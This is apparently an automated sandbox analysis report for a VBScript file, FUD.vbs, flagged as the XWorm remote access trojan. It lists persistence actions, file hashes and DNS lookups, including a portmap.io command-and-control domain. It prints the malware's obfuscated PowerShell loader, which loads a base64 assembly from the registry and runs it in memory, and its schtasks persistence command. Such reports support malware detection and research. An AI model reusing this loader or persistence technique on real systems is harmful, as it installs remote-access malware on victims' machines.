Analysis Overview
SHA256
0e260957b3b6a07c65e0681f5dd2fc641b68f1f5616a0561f196ac083f747d33
Threat Level: Known bad
The file FUD.vbs was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Drops startup file
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-21 20:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-21 20:23
Reported
2024-06-21 20:25
Platform
win11-20240419-en
Max time kernel
54s
Max time network
55s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
| N/A | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Windows backup | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1140 wrote to memory of 3452 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1140 wrote to memory of 3452 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3452 wrote to memory of 2812 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
| PID 3452 wrote to memory of 2812 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\schtasks.exe |
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $RO87DB = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $RO87DB = -join $RO87DB[-1..-$RO87DB.Length];[<##>AppDomain<##>]::<##>('cFS1BEYurrentDomain'.replace('cFS1BEY','C'))<##>.<##>('l1OK0AYoad'.replace('l1OK0AY','L'))([Convert]::FromBase64String($RO87DB))<##>.<##>('e655ZBQntryPoint'.replace('e655ZBQ','E'))<##>.<##>('InvGKQU22oke'.replace('vGKQU22','v'))($Null,$Null)<##>;
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
C:\Users\Admin\Windows backup
"C:\Users\Admin\Windows backup"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | Jamalhacker-53065.portmap.io | udp |
Files
memory/3452-0-0x00007FF8A3873000-0x00007FF8A3875000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_havxajsy.4ee.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3452-1-0x000001B469270000-0x000001B469292000-memory.dmp
memory/3452-10-0x000001B469980000-0x000001B4699C6000-memory.dmp
memory/3452-12-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp
memory/3452-11-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp
memory/3452-13-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp
memory/3452-15-0x000001B4692B0000-0x000001B4692C0000-memory.dmp
memory/3452-20-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp
memory/3452-21-0x00007FF8A3870000-0x00007FF8A4332000-memory.dmp
C:\Users\Admin\Windows backup
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | e566632d8956997225be604d026c9b39 |
| SHA1 | 94a9aade75fffc63ed71404b630eca41d3ce130e |
| SHA256 | b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0 |
| SHA512 | f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd |